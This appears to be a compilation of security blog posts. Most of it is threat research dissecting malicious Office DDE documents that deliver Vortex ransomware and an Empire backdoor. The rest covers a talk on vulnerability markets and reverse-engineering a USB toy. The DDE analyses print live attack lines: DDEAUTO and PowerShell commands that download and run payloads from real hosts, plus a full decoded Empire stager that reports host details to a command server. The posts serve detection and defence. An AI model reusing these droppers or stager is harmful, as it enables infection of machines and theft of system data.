We feel confident in stating the same actor is behind both of these payloads. Whether these carriers are part of a pentesting exercise or actually motivated nefariously is anyone's guess. The domains documented in both of these lures, while once active, are both down as of the time of this writing. The Vortex Ransomware payload are still actively being served however.

IOCs

sixflags-frightfest[.]com
gunsandroses[.]live

Vortex Ransomware Targeting Poland

Unfortunately, it appears that ransomware authors are now starting to employ the use of Microsoft Office DDE malware carriers. This post will likely be our last on DDE dissection and covers the delivery of Vortex ransomware, seemingly targeted towards Poland. You can continue this research path using our hunt rule: (Microsoft_Office_DDE_Command_Execution.rule) on Virus Total Intelligence (VTI). The final delivered payload in this attack is Vortex Ransomware:Vortex Ransomware

Stepping backwards however to the initial DDE sample, we have bd61559c7dcae0edef672ea922ea5cf15496d18cc8c1cbebee9533295c2d2ea9 (1/59 AV detection rate), which is in CDF format and leverages a more novel technique to pivot to the next payload via mshta.exe:

DDEAUTO C:\\Programs\\Microsoft\\Office\\MSword.exe\\..\\..\\..\\..\\windows\\system32\\mshta.exe "http://w-szczecin.pl/img2/NEW15_10.doc/index.hta

Let's pull down the payload and see what we have:

$ wget http://w-szczecin.pl/img2/NEW15_10.doc/index.hta
--2017-10-15 18:15:08--  http://w-szczecin.pl/img2/NEW15_10.doc/index.hta
Resolving w-szczecin.pl... 91.231.140.161
Connecting to w-szczecin.pl|91.231.140.161|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3444 (3.4K)
Saving to: �index.hta�
2017-10-15 18:15:09 (109 MB/s) - �index.hta� saved [3444/3444]

$ cat index.hta
<!DOCTYPE html>
<meta http-equiv="x-ua-compatible" content="ie=emulateie8" >
<html>
<body>
<script language="javascript">
<!--
document.write(unescape('%3C%21%44%4F%43%54%59%50%45%20%68%74%6D%6C%3E%0A%3C%6D%65%74%61%20%68%74%74%70%2D%65%71%75%69%76%3D%22%78%2D%75%61%2D%63%6F%6D%70%61%74%69%62%6C%65%22%20%63%6F%6E%74%65%6E%74%3D%22%69%65%3D%65%6D%75%6C%61%74%65%69%65%38%22%20%3E%0A%3C%68%74%6D%6C%3E%0A%3C%62%6F%64%79%3E%0A%3C%73%63%72%69%70%74%20%6C%61%6E%67%75%61%67%65%3D%22%76%62%73%63%72%69%70%74%22%3E%0A%44%69%6D%20%41%4E%44%52%5A%45%4A%48%44%39%31%20%3A%20%44%69%6D%20%6A%6A%6A%6A%20%3A%20%53%65%54%20%41%4E%44%52%5A%45%4A%48%44%39%31%20%3D%20%63%72%65%61%74%65%6F%62%6A%65%63%74%20%28%20%22%77%73%63%72%49%50%74%2E%73%48%45%4C%6C%22%20%29%20%3A%20%6A%6A%6A%6A%20%3D%20%22%20%70%6F%77%65%72%73%68%65%6C%6C%2E%65%78%65%20%2D%45%78%65%43%55%74%49%6F%6E%50%6F%6C%49%63%59%20%62%79%70%61%73%73%20%20%2D%57%49%4E%64%6F%77%53%54%59%4C%45%20%68%69%64%64%45%6E%20%2D%45%4E%43%6F%64%65%64%63%4F%4D%4D%41%4E%64%20%55%41%42%76%41%48%63%41%5A%51%42%79%41%46%4D%41%61%41%42%6C%41%47%77%41%62%41%41%67%41%43%30%41%52%51%42%34%41%47%55%41%59%77%42%31%41%48%51%41%61%51%42%76%41%47%34%41%55%41%42%76%41%47%77%41%61%51%42%6A%41%48%6B%41%49%41%42%69%41%48%6B%41%63%41%42%68%41%48%4D%41%63%77%41%67%41%43%30%41%62%67%42%76%41%48%41%41%63%67%42%76%41%47%59%41%61%51%42%73%41%47%55%41%49%41%41%74%41%48%63%41%61%51%42%75%41%47%51%41%62%77%42%33%41%48%4D%41%64%41%42%35%41%47%77%41%5A%51%41%67%41%47%30%41%61%51%42%75%41%47%6B%41%62%51%42%70%41%48%6F%41%5A%51%42%6B%41%43%41%41%4C%51%42%6A%41%47%38%41%62%51%42%74%41%47%45%41%62%67%42%6B%41%43%41%41%4B%41%42%4F%41%47%55%41%64%77%41%74%41%45%38%41%59%67%42%71%41%47%55%41%59%77%42%30%41%43%41%41%55%77%42%35%41%48%4D%41%64%41%42%6C%41%47%30%41%4C%67%42%4F%41%47%55%41%64%41%41%75%41%46%63%41%5A%51%42%69%41%45%4D%41%62%41%42%70%41%47%55%41%62%67%42%30%41%43%6B%41%4C%67%42%45%41%47%38%41%64%77%42%75%41%47%77%41%62%77%42%68%41%47%51%41%52%67%42%70%41%47%77%41%5A%51%41%6F%41%43%63%41%61%41%42%30%41%48%51%41%63%41%41%36%41%43%38%41%4C%77%42%33%41%43%30%41%63%77%42%36%41%47%4D%41%65%67%42%6C%41%47%4D%41%61%51%42%75%41%43%34%41%63%41%42%73%41%43%38%41%61%51%42%74%41%47%63%41%4D%67%41%76%41%48%4D%41%4E%51%41%77%41%43%34%41%5A%51%42%34%41%47%55%41%4A%77%41%73%41%42%30%67%4A%41%42%6C%41%47%34%41%64%67%41%36%41%45%45%41%55%41%42%51%41%45%51%41%51%51%42%55%41%45%45%41%58%41%42%75%41%48%59%41%63%77%42%7A%41%43%34%41%5A%51%42%34%41%47%55%41%48%53%41%70%41%44%73%41%55%77%42%30%41%47%45%41%63%67%42%30%41%43%30%41%55%41%42%79%41%47%38%41%59%77%42%6C%41%48%4D%41%63%77%41%67%41%43%67%41%48%53%41%6B%41%47%55%41%62%67%42%32%41%44%6F%41%51%51%42%51%41%46%41%41%52%41%42%42%41%46%51%41%51%51%42%63%41%47%34%41%64%67%42%7A%41%48%4D%41%4C%67%42%6C%41%48%67%41%5A%51%41%64%49%43%6B%41%20%22%20%3A%20%41%4E%44%52%5A%45%4A%48%44%39%31%2E%52%55%4E%20%43%48%72%20%28%20%33%34%20%29%20%26%20%41%4E%44%52%5A%45%4A%48%44%39%31%2E%65%58%50%61%6E%44%65%6E%56%49%72%6F%4E%6D%45%6E%74%73%54%52%69%4E%47%53%28%20%22%25%43%4F%4D%53%70%45%43%25%22%20%29%20%26%20%63%48%52%20%28%20%33%34%20%29%20%26%20%43%48%72%20%28%20%33%34%20%29%20%26%20%22%2F%63%20%22%20%26%20%6A%6A%6A%6A%20%26%20%63%68%72%20%28%20%33%34%20%29%20%2C%20%30%20%3A%20%53%45%74%20%41%4E%44%52%5A%45%4A%48%44%39%31%20%3D%20%4E%4F%54%48%49%6E%47%0A%3C%2F%73%63%72%69%70%74%3E%0A%0A%3C%2F%62%6F%64%79%3E%0A%3C%2F%68%74%6D%6C%3E'));
//-->
</script>
</body>
</html>

Unescape the long string and you'll find:

<!DOCTYPE html>
<meta http-equiv="x-ua-compatible" content="ie=emulateie8" >
<html>
<body>
<script language="vbscript">
Dim ANDRZEJHD91 : Dim jjjj : SeT ANDRZEJHD91 = createobject ( "wscrIPt.sHELl" ) : jjjj = " powershell.exe -ExeCUtIonPolIcY bypass  -WINdowSTYLE hiddEn -ENCodedcOMMANd UABvAHcAZQByAFMAaABlAGwAbAAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABiAHkAcABhAHMAcwAgAC0AbgBvAHAAcgBvAGYAaQBsAGUAIAAtAHcAaQBuAGQAbwB3AHMAdAB5AGwAZQAgAG0AaQBuAGkAbQBpAHoAZQBkACAALQBjAG8AbQBtAGEAbgBkACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwB3AC0AcwB6AGMAegBlAGMAaQBuAC4AcABsAC8AaQBtAGcAMgAvAHMANQAwAC4AZQB4AGUAJwAsAB0gJABlAG4AdgA6AEEAUABQAEQAQQBUAEEAXABuAHYAcwBzAC4AZQB4AGUAHSApADsAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACgAHSAkAGUAbgB2ADoAQQBQAFAARABBAFQAQQBcAG4AdgBzAHMALgBlAHgAZQAdICkA " : ANDRZEJHD91.RUN CHr ( 34 ) & ANDRZEJHD91.eXPanDenVIroNmEntsTRiNGS( "%COMSpEC%" ) & cHR ( 34 ) & CHr ( 34 ) & "/c " & jjjj & chr ( 34 ) , 0 : SEt ANDRZEJHD91 = NOTHInG
</script>
</body>
</html>

We'll use our iPython shell to base64 decode the string above:

In [40]: print base64.b64decode("UABvAHcAZQByAFMAaABlAGwAbAAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABiAHkAcABhAHMAcwAgAC0AbgBvAHAAcgBvAGYAaQBsAGUAIAAtAHcAaQBuAGQAbwB3AH
    ...: MAdAB5AGwAZQAgAG0AaQBuAGkAbQBpAHoAZQBkACAALQBjAG8AbQBtAGEAbgBkACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBu
    ...: AGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwB3AC0AcwB6AGMAegBlAGMAaQBuAC4AcABsAC8AaQBtAGcAMgAvAHMANQAwAC4AZQB4AGUAJwAsAB0gJABlAG4AdgA6AEEAUABQAEQAQQBUAEEAXABuAHYAcw
    ...: BzAC4AZQB4AGUAHSApADsAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACgAHSAkAGUAbgB2ADoAQQBQAFAARABBAFQAQQBcAG4AdgBzAHMALgBlAHgAZQAdICkA")
PowerShell -ExecutionPolicy bypass -noprofile -windowstyle minimized -command (New-Object System.Net.WebClient).DownloadFile('http://w-szczecin.pl/img2/s50.exe';, $env:APPDATA\nvss.exe );Start-Process ( $env:APPDATA\nvss.exe )

Next, we pulled down the executable and uploaded it to Virus Total (first upload) fe72a6b6da83c779787b2102d0e2cfd45323ceab274924ff617eb623437c2669 (2/65 AV detection rate):Virus Total Results

This final .exe payload masquerades as an NVIDIA service. Here's a Joe Sandbox report:

https://jbxcloud.joesecurity.org/analysis/388248/0/html

Notice from the report that the sample communicates with beer-ranking.pl, a domain that was registered on 2017-10-14 with an address tied to nearly 600,000 other domains:

https://reversewhois.domaintools.com/?email=ef1fbf8d4fed46b3d30a4e1e05444de2

InQuest detects exploitation of these and other DDE attacks via our Deep File Inspection (DFI) stack and signature MC_Office_DDE_Command_Exec (event ID 5000728) released on October 10th, 2017. We're also big fans of Joe Sandbox. It's one of multiple active integrations within the InQuest platform. We additionally support VXStream, Cuckoo, and FireEye sandbox integrations. We're looking at adding support for VMRay analyzer next. Active integrations within InQuest are fed files that we carve off the wire. The integration is then given time to complete its analysis at which point the InQuest integration will retrieve the results and factor it into the final session threat score. For more information on other integrations we support, see www.InQuest.net.

To follow along the highlights of the conversation on Twitter, follow this moment:

Microsoft Office DDE Macro-less Command Execution Vulnerability

IOCs

beer-ranking[.]pl

Originally published 2017-10-14 on the InQuest blog.

10.13.2017: Microsoft Office DDE Macro-less Command Execution Vulnerability

Fri, 13 Oct 2017 00:00:00 -0500

On October 9th 2017, SensePost researchers posted a technique demonstrating [macro-less command execution in Microsoft Office](https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/) documents through Dynamic Data Exchange (DDE). While variations of this technique are known, the post shed light on the fact that Microsoft has no intent to address the matter, and that "exploit" creation is trivial.

We'll kick this blog off with a mitigation for the attack, toggle the following registry key:

```text
HKCU\Software\Microsoft\Office\XX.Y\Word\Options\DontUpdateLinks = REG_DWORD 0x01
```

Where "XX.Y" above maps to your version of Office. You can also reference the following [STIG finding V-17811](https://www.stigviewer.com/stig/microsoft_word_2007/2014-04-03/finding/V-17811).

For anyone interested in following the highlights of the conversation, we're maintaining the following Twitter "moment" to capture relevant references and conversation surrounding the issue, detection, hunting, payloads, and mitigations:

* [Microsoft Office DDE Macro-less Command Execution Vulnerability](https://twitter.com/i/moments/918126999738175489)

In anticipation of threat actors adopting this technique for their campaigns, we created the following Virus Total Intelligence (VTI) hunt rule to begin collecting in-the-wild samples:

* [https://github.com/InQuest/yara-rules/blob/master/Microsoft_Office_DDE_Command_Execution.rule](https://github.com/InQuest/yara-rules/blob/master/Microsoft_Office_DDE_Command_Execution.rule)

We've predominantly seen collected samples come in two forms:

* Microsoft DOCX format (Word 2007+)
* Microsoft Composite Document File (CDFv2) format

In the case of CDF format the DDEAUTO is visible plainly from the file, for example from the following sample [8630169ab9b4587382d4b9a6d17fd1033d69416996093b6c1a2ecca6b0c04184 (1/60 AV detection rate)](https://www.virustotal.com/en/file/8630169ab9b4587382d4b9a6d17fd1033d69416996093b6c1a2ecca6b0c04184/analysis/):

```text
... trimmed for brevity ...
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x13 DDEAUTO c:\\Windows\\System32\\cmd.exe "/k powershell.exe -w hidden -nop -ep bypass Start-BitsTransfer -Source "https://www.dropbox[.]com/s/or2llvdmli1bw4o/index.js?dl=1" -Destination "index.js" & start c:\\Windows\\System32\\cmd.exe /c cscript.exe index.js"\x14!Final de f\xF3rmula inesperado\x15\x0D\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
```

Incidentally, That payload pivots through cscript.exe to extract, decode, and execute [Zusy malware](https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/tspy_zbot.zusy) from index.js.

In the case of DOCX format samples, you'll need to decompress the sample first. For an example of that, let's consider the following interesting sample that came up from our hunts:
[11a6422ab6da62d7aad4f39bed0580db9409f9606e4fa80890a76c7eabfb1c13 (9/60 AV detection rate)](https://www.virustotal.com/en/file/11a6422ab6da62d7aad4f39bed0580db9409f9606e4fa80890a76c7eabfb1c13/analysis/)

First we download the sample, confirm it's DOCX, then unzip:
```text
$ vt download 11a6422ab6da62d7aad4f39bed0580db9409f9606e4fa80890a76c7eabfb1c13

$ file 11a6422ab6da62d7aad4f39bed0580db9409f9606e4fa80890a76c7eabfb1c13 11a6422ab6da62d7aad4f39bed0580db9409f9606e4fa80890a76c7eabfb1c13: Microsoft Word 2007+

$ unzip -p 11a6422ab6da62d7aad4f39bed0580db9409f9606e4fa80890a76c7eabfb1c13 word/document.xml
[11a6422ab6da62d7aad4f39bed0580db9409f9606e4fa80890a76c7eabfb1c13]
End-of-central-directory signature not found. Either this file is not
a zipfile, or it constitutes one disk of a multi-part archive. In the
latter case the central directory and zipfile comment will be found on
the last disk(s) of this archive.
```

Note that generally you can use unzip to decompress these samples, but the malware author took an extra step here to evade detection; Microsoft parsers are famously forgiving. Look at some of the work from [Corkami](https://github.com/corkami/) or [Alex Sotirov's](https://twitter.com/alexsotirov) Tiny PE work, to get an idea of how flexible the PE parser is for example. We switch to using 7Zip, which works. Additionally, we use Sed to strip the XML to reveal the payload, which is hosted on Amazon AWS:

```text
$ 7z e -so 11a6422ab6da62d7aad4f39bed0580db9409f9606e4fa80890a76c7eabfb1c13 word/document.xml | sed 's/<[^>]*>//g'

DDEAUTO c:\\Windows\\System32\\cmd.exe "/k powershell.exe -NoP -sta -NonI -W Hidden $e=(New-Object System.Net.WebClient).DownloadString('http://ec2-54-158-67-5.compute-1.amazonaws.com/CCA/DDE2.ps1');powershell -e $e " !Unexpected End of Formula
```

Next we pull down the payload, which is base64 encoded. Note the usage of Internet Explorer 11 user-agent. Also note that the next payload is XOR encoded and the key for decoding it is "294aa01c70a8f958a016e582d0bd4ab9".

```powershell
$ wget http://ec2-54-158-67-5.compute-1.amazonaws.com/CCA/DDE2.ps1

$ cat DDE2.ps1 | base64 -D
[SystEM.NET.SerViCEPOiNTMaNaGer]::EXPeCt100COnTinue = 0;$wc=NEw-ObJecT SYstEm.NET.WEBCLIENT;$u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko';[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};$wc.HEAdeRs.Add('User-Agent',$u);$wC.PROXY = [SySTeM.Net.WebREQueSt]::DEFAultWebPROxY;$wC.PrOxY.CrEDEntIAlS = [SYSteM.NEt.CRedEntialCaChe]::DeFaUlTNEtWorKCRedEnTIAlS;$K='294aa01c70a8f958a016e582d0bd4ab9';$I=0;[Char[]]$B=([cHar[]]($Wc.DoWNLoADSTring("https://23.239.28[.]30:443/index.asp")))|%{$_-BXOr$K[$i++%$k.LEnGtH]};IEX ($B-Join'')
```

The trail leads from HTTP on EC2 to HTTPS Linode, let's see what we have there. Note that the certificate isn't valid.

```text
$ wget https://23.239.28.30:443/index.asp --no-check-certificate
--2017-10-12 16:04:31-- https://23.239.28.30/index.asp
Connecting to 23.239.28.30:443... connected.
WARNING: cannot verify 23.239.28.30's certificate, issued by �CN=Let's Encrypt Authority X3,O=Let's Encrypt,C=US�:
Unable to locally verify the issuer's authority.
WARNING: certificate common name �web01.allcleardata.com� doesn't match requested host name �23.239.28.30�.
HTTP request sent, awaiting response... 200 OK
Length: unspecified
Saving to: �index.asp�

2017-10-12 16:04:31 (67.4 MB/s) - �index.asp� saved [2898]
```

The bytes in index.asp are XOR encoded, let's decode that with a python one-liner:

```powershell
$ python -c 'import itertools; print "".join(chr(ord(x) ^ ord(y)) for (x,y) in itertools.izip(open("index.asp", "rb").read(), itertools.cycle("294aa01c70a8f958a016e582d0bd4ab9")))'
FUnCTION StaRT-NEGotiAte{param($s,$SK,$UA="lol")Add-TYPE -aSSeMbLY SysTEM.SeCURITY;ADD-Type -AssEMBLY SyStem.CORE;$ErrorActionPreference = "SilentlyContinue";$e=[SySTEM.TeXT.EncODing]::ASCII;$AES=NEW-OBJECT SYsTEm.SecurITY.CrYPTogRApHy.AesCRyPtOSeRvIcEProviDer;$IV = [byTe] 0..255 | GEt-RaNdOM -cOUNT 16;$AES.Mode="CBC"; $AES.Key=$e.GetBytes($SK); $AES.IV = $IV;$CSP = NEw-ObJeCt SYstEm.SEcURiTy.CrYptogRapHy.CspParAmeteRs;$csp.FLAGs = $CSp.FLaGS -BOR [SysteM.SeCuriTy.CRYPtOGraPhY.CspPrOVIderFLAGs]::USeMAChinEKEyStORE;$Rs = NeW-OBjecT SYSteM.SEcuRiTY.CrYPtoGRaPhy.RSACRYptOSeRVICePROViDer -ARgumENtList 2048,$CsP;$rK=$rS.ToXMLSTRING($FAlSE);$r=1..16|ForEACH-OBjECt{GET-RAndom -MAX 26};$ID=('ABCDEFGHKLMNPRSTUVWXYZ123456789'[$r] -join '');$Ib=$E.GeTBYTes($RK);$eB=$IV+$AES.CREATeEncRYPTor().TrAnsFoRmFinalBlocK($IB,0,$Ib.LengTH);If(-nOT $Wc){$Wc=new-oBjECT SySTem.NET.WEBCLieNT;$wc.PrOXY = [SYSTem.NEt.WeBREQUEsT]::GeTSySteMWeBPROxY();$wc.ProXy.CREDentIaLS = [SYStem.NEt.CrEDenTiAlCacHe]::DEFAuLtCREdEnTIALS;}$wc.Headers.Add("User-Agent",$UA);$wc.Headers.Add("Cookie","SESSIONID=$ID");$raw=$wc.UploadData($s+"index.jsp","POST",$eb);$De=$e.GeTSTRING($rS.DeCRYPT($raw,$False));$epOCh=$DE[0..9] -joIn'';$key=$de[10..$De.Length] -JoiN '';$AES=New-ObjeCT System.SeCurItY.CRYPtOGRaPhy.AesCrYptOSerVicePRoviDEr;$IV = [bYtE] 0..255 | Get-RanDOM -cOUNt 16;$AES.Mode="CBC"; $AES.Key=$e.GetBytes($key); $AES.IV = $IV;$I=$S+'|'+[EnvIROnmENT]::UseRDOMAinNAMe+'|'+[ENViRONMEnT]::UsERNaMe+'|'+[EnVIRONMENt]::MACHineNAme;$p=(GWMi WIN32_NeTwoRkAdaptErCoNfIguRaTIoN|WHErE{$_.IPAddRESS}|SelECT -EXpAND IPAddRESs);$iP = @{$TruE=$p[0];$FALSe=$P}[$P.LengTh -Lt 6];if(!$Ip -or $IP.triM() -eq '') {$Ip='0.0.0.0'};$i+="|$ip";$I+='|'+(Get-WmiOBject Win32_OPerATIngSySTEm).Name.spLit('|')[0];if(([Environment]::UserName).ToLower() -eq "system"){$i+='|True'}else {$i += "|" +([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator")}$N=[System.DiaGNostiCS.ProCEss]::GETCUrrEnTPrOceSS();$I+='|'+$n.PROCessName+'|'+$N.Id;$I += '|' + $PSVERSiONTaBLE.PSVerSIon.MaJOR;$ib2=$E.GeTbYtEs($I);$eB2=$IV+$AES.CREatEENCRYpTor().TransFOrmFinAlBloCK($ib2,0,$Ib2.LengTH);$wc.Headers.Add("User-Agent",$UA);$raw=$wc.UploadData($s+"index.php","POST",$eb2);$AES=NEw-ObjEct SYstem.SecuritY.CrYpTOGraPHY.AEsCrypToSErViCePROViDER;$AES.Mode="CBC";$IV = $raw[0..15];$AES.KEY=$e.GETByTES($KEy);$AES.IV = $IV;IEX $([SysTeM.TExT.ENcODINg]::ASCII.GeTStrinG( $($AES.CREAtEDECryPtoR().TRAnSFoRmFiNALBloCK($RAW[16..$RAW.LEngtH],0,$rAw.LENGtH-16))));$AES=$NUlL;$S2=$NULL;$wc=$NULl;$Eb2=$NULl;$raw=$nuLl;$IV=$NulL;$wc=$NulL;$i=$nulL;$iB2=$nUlL;[GC]::COlLECt();Invoke-Empire -Servers @(($s -split "/")[0..2] -join "/") -SessionKey $key -SessionID $ID -Epoch $epoch;} Start-Negotiate -s "https://23.239.28[.]30:443/"; -SK '294aa01c70a8f958a016e582d0bd4ab9' -UA $u;
```

Looks like the final payload is [Empire](https://github.com/EmpireProject/Empire) which, when executed, will post back to that same Linode server. InQuest detects exploitation of these and other DDE attacks via our Deep File Inspection (DFI) stack and signature MC_Office_DDE_Command_Exec (event ID 5000728) released on October 10th, 2017. Our DFI stack is what's responsible for peeling away the variety of layers typically present in malicious content. The process is recursive and a variety of techniques are applied in parallel to expose all embedded layers. For more information about DFI, see [www.InQuest.net](http://www.inquest.net) or reach out to us directly.

# IOCs

* 23.239.28[.]30
* 54.158.67[.]5
* ec2-54-158-67-5.compute-1.amazonaws[.]com

Originally published 2017-10-13 on the InQuest blog.

10.15.2015: Latest Venture: B2B

Thu, 15 Oct 2015 00:00:00 -0500

I will seemingly never get around to updating this page. In the meanwhile if anyone is curious what I'm up to, this is it:

InQuest protects your users from the myriad of attacks of today and the evolving threats of tomorrow.
InQuest Labs open/free data portal for malware researchers.

07.20.2012: Latest Venture: B2C

Fri, 20 Jul 2012 00:00:00 -0500

At some point I'll get around to updating this page. In the meanwhile if anyone is curious what I'm up to, this is it:

Jumpshot (archived site), launched on Kickstarter, acquired by Avast and rebranded as GrimeFighter and then again as CleanUp.

10.29.2009: Mostrame la Guita!

Thu, 29 Oct 2009 00:00:00 -0500

Recently I presented a talk titled "Mostrame la Guita!" (regional Spanish for "show me the money") at Ekoparty in Buenos Aires, Argentina. The purpose of the talk was to provide transparency into the world of vulnerability markets and for the first time expose the inner workings, statistics and some anecdotal stories behind the TippingPoint Zero Day Initiative (ZDI) to the public. As far as I know, the only other available resource on the matter of markets and pricing is Charlie Miller's 2007 paper "The Legitimate Vulnerability Market". The information presented was garnered through public resources, numerous interviews and my own personal experiences in the marketplace from 2002 to present day.

The talk was well received and there was a lot of interest from various parties in getting their hands on the slides. Along side the release of my presentation I prepared this blog entry as the slides are terse and contain some eye charts that, without having heard the talk, could be easily misinterpreted. The slides were presented through Google docs and are now available at:

Mostrame la Guita! Adventures in Buying Vulnerabilities

Please read on for notes on specific slides of interest. If you have any questions or comments feel free to post them as a comment here or contact me directly via e-mail.

Market Prices

For the purposes of my talk I broke the market down into four categories:

Vendor market: bug bounties offered by Mozilla and Ghostscript for example.
"White" market: purchase programs where the researcher knows where the information they are selling is going to end up. This includes the TippingPoint ZDI and iDEFENSE VCP who both disclose all purchases to the affected vendor.
"Grey" market: programs where the final destination of the information sold is unclear. This includes direct / indirect sales to the government as well as some word of mouth programs.
"Black" market: sales to the "bad" guys.

Vendor bug bounties generally fetch less than $1,000 USD per security exposure, for the rest of the markets:

[full slide]

The wide range of pricing has led many to claim that there is no fair market value for vulnerability research. I disagree and stated so in my talk. The reasoning behind my logic is that you get what you are willing to give. The individual markets offer different pricing but also demand different requirements.

On the white market, and specifically at the ZDI for example we don't need nor do we ask for exploit code. If you can point out a bug we'll take it from there. In fact, frequently we receive very limited crash reports through the ZDI that require significant effort to dissect thoroughly. The white market also offers credit for your discovery and the guarantee that the reported issue will be forwarded to the affected vendor and disclosed in a responsible fashion.

On the grey and black markets credit is completely out of the question. You are selling the rights to your information and expected to never talk about it again. The vendor will not be contacted. Crash reports will not be entertained and nor will buggy or basic proof-of-concept exploit code. Exploits must be polished and weaponized. This is a drastic departure from the white market and many researchers are not comfortable operating in it.

Acquired Research Statistics

Since the launch of the Zero Day Initiative in August of 2005 we have signed up over 1,000 researchers and received almost 1,900 vulnerability reports between them. We only accept critical issues affecting top enterprise software and out of the the bugs we have seen we have purchased over 500 (about 30%) at an average of about 10 a month. That's a lot of bugs. The table presented in the following slide outlines purchase statistics for our most prominent vendors:

[full slide]

The first numeric column shows how many vulnerability purchases we have made which affects the captioned vendor. Microsoft accounts for the largest number, 133, that's 33 Microsoft critical issues we are responsible for disclosing on average per year. The next column shows what our accept ratio is for that specific vendor, recall that our overall is roughly 30%. The final column shows how much of our total ZDI budget was spent securing that specific vendor. As Microsoft accounts for most of our purchases it is no surprise that they account for most of our expenditure as well, 30%. Apple comes in at a distance second accounting for 8% of our total budget.

Vendor Patch Time Statistics

For each of our most prominent vendors we queried and charted their average time to patch per reported year. Let me explain this more clearly with an example. Between all the bugs we reported to Apple in 2006 their averaged time to patch was 166 days. If we reported a bug to Apple in December of 2006 and it wasn't patched until December of 2008 that 2-year patch time was averaged into 2006. For each year the longest and shortest patch times are highlighted in red and green appropriately. Through this measurement Mozilla comes out on top pretty much across the board:

[ full slide ]

We averaged the individual per year columns into the overall column which places Mozilla at the top with the quickest average patch time of 48 days and Symantec trailing the pack at 307 days. One thing to keep in mind however is that these numbers do not include the currently outstanding issues, which brings us to the next and final column.

The upcoming column displays the average number of days that all issues reported to the vendor have been outstanding for. Up to date listings of all our outstanding TippingPoint and ZDI discoveries are available at:

This column requires a bit of a caveat as well as the results get skewed with recent bundles of disclosures. For example, we recently disclosed a number of issues to Hewlett-Packard and this brings down their average outstanding patch time.

Longest Patch Times

We have sliced our vendor data subjectively, by patch time and by days outstanding. The final view I offered the audience is a listing of the top 10 most outstanding bugs:

[ full slide ]

Entries with a + (plus) sign indicate that the issue is still outstanding, otherwise it has been patched. Note that although our recent disclosures to Hewlett-Packard improved their average in the previous slides upcoming column, they hold the title for the top two longest patch times... and counting.

Holding the 3rd and 4th place positions is Microsoft with two issues that affect their Office Web Components (OWC) and along with another OWC issue have all been recently patched in MS09-043 (ZDI-09-054, ZDI-09-055, ZDI-09-056). The two and a half year time to patch triggered some media attention but as I mentioned earlier, patching is not a trivial process in some cases. I verbally covered this matter in my "Behind the Hype" slide stating that the cause for delay on Microsoft's behalf was legitimate and not due to any underlying disorganization.

The presented data was our first unveiling of a vendor "report card". Within the next month or so we intend on creating a permanent home on the ZDI website with all these statistics and more. So check back at www.zerodayinitiative.com and let us know if there is anything in specific that you would like to see.

-pedram

Originally published 2009-10-29 on the TippingPoint DVLabs blog.

02.12.2009: Python Interfacing a USB Missile Launcher

Thu, 12 Feb 2009 00:00:00 -0600

I watch Woot on pretty much a daily basis and as a result I frequently end up purchasing toys that I really don't need. Most recently I picked up this silly pair of USB Missile Launchers for just under 40$ shipped:

I finally found some free time yesterday to open up the package and plug them in. The hardware is coupled with a simple GUI controller written in Delphi (MissileLauncher.exe) and a USB Human Interface Device (HID) interface written in C++ (USBHID.dll). The toys lost their allure within minutes of harassing my team with a barrage of soft missile shots. That same night I thought I would be able to extend the fun factor by coding up a programmatic interface to the launchers in Python. This blog is about that process.

It's obvious that the bundled DLL is the glue between the GUI and the USB interface. Throwing USBHID.dll into the IDA Pro Disassembler and examining the exports reveals 7 entries, the most interesting sounding of which is OpenHID(). Examining the imports shows dependencies on the Microsoft system DLLs HID.dll and SetupAPI.dll. USBHID.dll is basically a simplified wrapper on top of the Microsoft API. The next step is to take a look at how it is referenced from the GUI. Loading MissileLauncher.exe into IDA and examining the imports unfortunately shows no reference to USBHID.dll. The library and function pointers must be resolved dynamically via LoadLibrary() and GetProcAddress(). Time to examine some cross-references. Hit 'Shift-F12' to pull up the strings window then 'Alt+t' to search for USBHID.dll, enter to follow and you find:

.data:0048790C     LibFileName db 'USBHID.dll',0

Hit 'x' to pull up the cross-references to the string and you come across the following snippet of code:

.text:00403830 030     xor edx, edx
.text:00403832 030     mov dword_48E510, edx
.text:00403838 030     mov ecx, [ebp+table]
.text:0040383B 030     mov dword ptr [ecx+74h], 0FFFFFFFFh
.text:00403842 030     push offset LibFileName      ; "USBHID.dll"
.text:00403847 034     call LoadLibraryA
.text:0040384C 030     mov dword_48E514, eax
.text:00403851 030     cmp dword_48E514, 0
.text:00403858 030     jz  short loc_40386F
.text:0040385A 030     push offset ProcName         ; "OpenHID"
.text:0040385F 034     push dword_48E514            ; hModule
.text:00403865 038     call GetProcAddress
.text:0040386A 030     mov dword_48E510, eax

